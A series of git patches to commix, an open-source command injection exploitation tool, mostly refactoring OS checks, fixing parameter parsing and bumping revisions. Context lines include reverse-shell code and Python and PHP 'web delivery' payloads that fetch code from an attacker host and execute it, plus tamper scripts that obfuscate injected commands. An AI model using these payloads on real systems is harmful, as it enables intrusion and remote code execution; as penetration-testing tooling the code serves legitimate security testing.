settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index bfbdedd77d..2969dc7b8b 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -376,7 +376,7 @@ def other_reverse_shells(separator): "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ "globals(), __import__('contextlib'))" - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: windows_only_attack_vector() continue else: @@ -418,7 +418,7 @@ def other_reverse_shells(separator): "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: @@ -462,7 +462,7 @@ def other_reverse_shells(separator): "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" @@ -477,7 +477,7 @@ def other_reverse_shells(separator): # Powershell injection attacks elif other_shell == '11': - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: windows_only_attack_vector() continue else: @@ -615,7 +615,7 @@ def other_reverse_shells(separator): if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" @@ -626,7 +626,7 @@ def other_reverse_shells(separator): msf_launch_msg(output) break elif web_delivery == '2': - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" else: @@ -634,7 +634,7 @@ def other_reverse_shells(separator): msf_launch_msg(output) break elif web_delivery == '3': - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: windows_only_attack_vector() continue else: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 4696cc30af..eac9fd0cff 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -39,7 +39,7 @@ def add_back_slashes(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 40186a5d40..bb1da64b9f 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -47,7 +47,7 @@ def add_caret_symbol(payload): payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 649d7116de..64df38427b 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -37,7 +37,7 @@ def add_dollar_at_signs(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index e449794dc2..8f4d89d1de 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -33,7 +33,7 @@ def tamper(payload): def add_double_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = '""' - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = re.sub(r'([b-zD-Z])', r'""\1', payload) else: word = "tokens" diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index c26af491f8..3b761cd034 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -31,7 +31,7 @@ double_quote = "\"" def tamper(payload): def nested(payload): - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if not menu.options.prefix and not menu.options.suffix: payload = double_quote + payload + double_quote @@ -47,7 +47,7 @@ def nested(payload): menu.options.suffix = double_quote return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index f5d3d5dbd5..dc9019da80 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -37,7 +37,7 @@ def add_single_quotes(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index ef4255cf20..cfe7b60a1e 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -34,7 +34,7 @@ def add_slash2env(payload): payload = payload.replace("/", "${PATH%%u*}") return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 90563587c6..04f4be2178 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -34,7 +34,7 @@ def tamper(payload): def sleep_to_timeout_ping(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 5373dee4a5..d61c1f1e5d 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -42,7 +42,7 @@ def sleep_to_usleep(payload): payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.CLASSIC_STATE != False or \ settings.EVAL_BASED_STATE != False or \ settings.FILE_BASED_STATE != False: diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index b4d61d2a36..49e68cf4ba 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -29,7 +29,7 @@ def tamper(payload): if space2ifs in settings.WHITESPACES[0] and \ settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = "\${IFS}" - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2ifs diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index a59ddc21dc..5d7c268039 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -27,7 +27,7 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2vtab diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 832c114365..9ef2e8bdd1 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -41,7 +41,7 @@ def add_uninitialized_variable(payload): payload = payload.replace(_,_.replace(obf_char,"")) return payload - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 22024def71..821e83c8fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -363,8 +363,12 @@ def sys_argv_errors(): # Use a proxy to connect to the target URL. SCHEME = "" +class OS(object): + UNIX = "unix" + WINDOWS = "win" + # Default target host OS (Unix-like) -TARGET_OS = "unix" +TARGET_OS = OS.UNIX # Verbosity level: 0-1 (default 0) VERBOSITY_LEVEL = 0 From 328730ce808571b7d6b402a64ccebf0f2502bae1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 Jun 2023 08:32:14 +0300 Subject: [PATCH 0317/1023] Fixes https://github.com/commixproject/commix/issues/846 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0ec1a640fe..039d362b1b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1808,7 +1808,7 @@ def check_similarities(all_params): json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) for param in all_params: - if all_params[param] in param: + if type(all_params[param]) is str and all_params[param] in param: all_params[param] = all_params[param] + settings.RANDOM_TAG all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] except Exception as e: diff --git a/src/utils/settings.py b/src/utils/settings.py index 821e83c8fa..91b4467551 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 1b0ccb4db6f45634020186727e1d76a7ad3e5661 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 16 Jun 2023 08:44:58 +0300 Subject: [PATCH 0318/1023] Minor update --- src/core/injections/controller/controller.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2f7025e63d..856176a59a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -206,7 +206,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: - settings.CLASSIC_STATE = True + settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True checks.skip_command_injection_tests() else: settings.CLASSIC_STATE = False @@ -237,7 +237,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "t" in menu.options.tech): if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.TIME_BASED_STATE = True + settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True checks.skip_command_injection_tests() else: settings.TIME_BASED_STATE = False @@ -252,7 +252,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: - settings.FILE_BASED_STATE = True + settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True else: settings.FILE_BASED_STATE = False if settings.FILE_BASED_STATE == None: diff --git a/src/utils/settings.py b/src/utils/settings.py index 91b4467551..075e5e818a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0b27eee52dadc579896864a4080a3bdd3bb0e50d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 19 Jun 2023 08:57:13 +0300 Subject: [PATCH 0319/1023] Minor update --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index be742cc330..66aabcb2ad 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -84,10 +84,10 @@ def is_empty(): elif value is None: if check_batch and menu.options.batch: + print(settings.print_message(message + str(default))) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the default behavior, running in batch mode." print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + str(default))) return default else: return is_empty() diff --git a/src/utils/settings.py b/src/utils/settings.py index 075e5e818a..b00a1663ef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 27a6f0d884d3ccae510fe4ee81699aebafa00fec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 20 Jun 2023 07:28:59 +0300 Subject: [PATCH 0320/1023] Minor update regarding commit https://github.com/commixproject/commix/commit/edb2229ae6e4f0b477712b0752aca86a95df7252 --- src/core/tamper/backslashes.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index eac9fd0cff..42a8434b23 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -32,7 +32,7 @@ def tamper(payload): def add_back_slashes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "\\" - payload = re.sub(r'([b-zD-Z])', r"\\\1", payload) + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 64df38427b..b5a4194e3d 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -30,7 +30,7 @@ def tamper(payload): def add_dollar_at_signs(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "$@" - payload = re.sub(r'([b-zD-Z])', r"$@\1", payload) + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index dc9019da80..7a13939344 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -30,7 +30,7 @@ def tamper(payload): def add_single_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True obf_char = "''" - payload = re.sub(r'([b-zD-Z])', r"''\1", payload) + payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/utils/settings.py b/src/utils/settings.py index b00a1663ef..22af6add67 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6b826985748820b0996c85c8495c504c555dd856 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 21 Jun 2023 07:30:03 +0300 Subject: [PATCH 0321/1023] Trivial update --- src/core/injections/controller/checks.py | 18 +++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 039d362b1b..278a78f281 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1224,23 +1224,27 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print(settings.print_critical_msg(err_msg)) raise SystemExit() - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - print(settings.print_info_msg(info_msg)) + if not stored_tamper_scripts: + info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " + print(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "The dynamic code evaluation technique does " elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "Windows targets do " elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: - warn_msg = "Unix-like targets do not support the usage of '" + script + ".py' tamper script. Skipping." + warn_msg = "Unix-like targets do " if len(warn_msg) != 0: - print(settings.print_warning_msg(warn_msg)) + if not stored_tamper_scripts: + warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." + print(settings.print_warning_msg(warn_msg)) else: + if not stored_tamper_scripts: + print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): diff --git a/src/utils/settings.py b/src/utils/settings.py index 22af6add67..d426bd2f32 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 01f8500af7814680fa7743b19839efa4ff8bc58a Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Wed, 21 Jun 2023 07:37:43 +0300 Subject: [PATCH 0322/1023] Update builds.yml --- .github/workflows/builds.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index e70e2e3e08..0564104390 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ] + python-version: [ '3.10', 'pypy-2.7', 'pypy-3.7' ] steps: - uses: actions/checkout@v2 - name: Set up Python @@ -20,4 +20,4 @@ jobs: - name: Basic import test run: python -c "import commix" - name: Basic smoke test - run: python commix.py --smoke-test \ No newline at end of file + run: python commix.py --smoke-test From cc1a4ad642472a743c17230ee07ce805e6f70115 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 22 Jun 2023 08:40:52 +0300 Subject: [PATCH 0323/1023] Fixes https://github.com/commixproject/commix/issues/848 --- src/core/requests/parameters.py | 13 ++++++++++--- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e0423c1b3a..3ae225e12a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -75,7 +75,11 @@ def multi_params_get_value(parameter): # Find the parameter part parameters = url.split("?")[1] # Split parameters - multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + try: + multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + except ValueError as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) @@ -237,7 +241,6 @@ def multi_params_get_value(param, all_params): else: try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) - multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -454,7 +457,11 @@ def multi_params_get_value(parameter): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. cookie = checks.wildcard_character(cookie) - multi_parameters = cookie.split(settings.COOKIE_DELIMITER) + try: + multi_parameters = cookie.split(settings.COOKIE_DELIMITER) + except ValueError as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) diff --git a/src/utils/settings.py b/src/utils/settings.py index d426bd2f32..2df20cdbe8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b1ca4835e7b4779d74cc42ae0fd32a6600961ecc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 3 Jul 2023 09:42:44 +0300 Subject: [PATCH 0324/1023] Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 13 +++++++++---- src/core/injections/controller/controller.py | 4 ++-- src/utils/settings.py | 2 +- 4 files changed, 13 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index efabe5c04b..e9fe69ec71 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 278a78f281..f8ca732462 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1644,7 +1644,7 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += " '" + empty_parameters + "'" warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] warn_msg += "been skipped from testing" - warn_msg += " due to empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." + warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." print(settings.print_warning_msg(warn_msg)) @@ -1706,12 +1706,17 @@ def is_empty(multi_parameters, http_request_method): if len(empty_parameters) == len(multi_parameters): all_empty = True - + if menu.options.skip_empty: + settings.SKIP_PARAMETER = empty_parameters + empty_parameters = ", ".join(empty_parameters) if len(empty_parameters) > 0: - if menu.options.skip_empty and all_empty: + if menu.options.skip_empty: skip_empty(empty_parameters, http_request_method) - return True + if all_empty: + return all_empty + else: + return False else: warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] warn_msg += " for " + http_request_method diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 856176a59a..f2d73dcf16 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -545,7 +545,7 @@ def get_request(url, http_request_method, filename, timesec): for i in range(0, len(found_url)): url = found_url[i] check_parameter = parameters.vuln_GET_param(url) - if check_parameter != url: + if check_parameter != url and check_parameter not in settings.SKIP_PARAMETER: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter # Check if testable parameter(s) are provided @@ -605,7 +605,7 @@ def post_request(url, http_request_method, filename, timesec): #if settings.INJECT_TAG in found_parameter[i]: parameter = menu.options.data = found_parameter[i] check_parameter = parameters.vuln_POST_param(parameter, url) - if check_parameter != parameter: + if check_parameter != parameter and check_parameter not in settings.SKIP_PARAMETER: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter # Check if testable parameter(s) are provided diff --git a/src/utils/settings.py b/src/utils/settings.py index 2df20cdbe8..1e62e347b9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f8d1c015fba024aad6e22b225683ceb310cef85f Mon Sep 17 00:00:00 2001 From: "Md. Reza Rezaee" Date: Thu, 6 Jul 2023 21:58:20 +0200 Subject: [PATCH 0325/1023] added translation for README in Farsi(Persian) --- README.md | 3 +- doc/translations/README-fa-FA.md | 48 ++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+), 1 deletion(-) create mode 100644 doc/translations/README-fa-FA.md diff --git a/README.md b/README.md index 34e8aeb1b8..a014f7fc26 100644 --- a/README.md +++ b/README.md @@ -44,4 +44,5 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations * [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) -* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) \ No newline at end of file +* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md new file mode 100644 index 0000000000..603bdde0ad --- /dev/null +++ b/doc/translations/README-fa-FA.md @@ -0,0 +1,48 @@ +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + Twitter +

+

+ +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. + + +![Screenshot](https://commixproject.com/images/background.png) +می‌توانید از [مجموعه اسکرین‌ شات‌ها](https://github.com/commixproject/commix/wiki/Screenshots) که نشان‌دهنده بعضی از ویژگی‌ها است در صفحه ویکی دیدن کنید. + +## نصب و راه‌اندازی + +در هر پلتفرمی می‌توانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید : + + $ git clone https://github.com/commixproject/commix.git commix + +از سوی دیگر, می‌توانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند. + +*__توجه:__ **[پایتون](http://www.python.org/download/)** (نسخه **2.6**, **2.7** یا **3** به بعد) برای اجرای کامیکس مورد نیاز است.* + + +## استفاده + +برای دریافت لیستی از همه گزینه‌ها و سوئیچ‌ها از این دستور استفاده کنید: + + $ python commix.py -h + +برای دریافت نمای کلی از گزینه‌های موجود, سوئیچ‌ها و/یا ایده‌های اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, 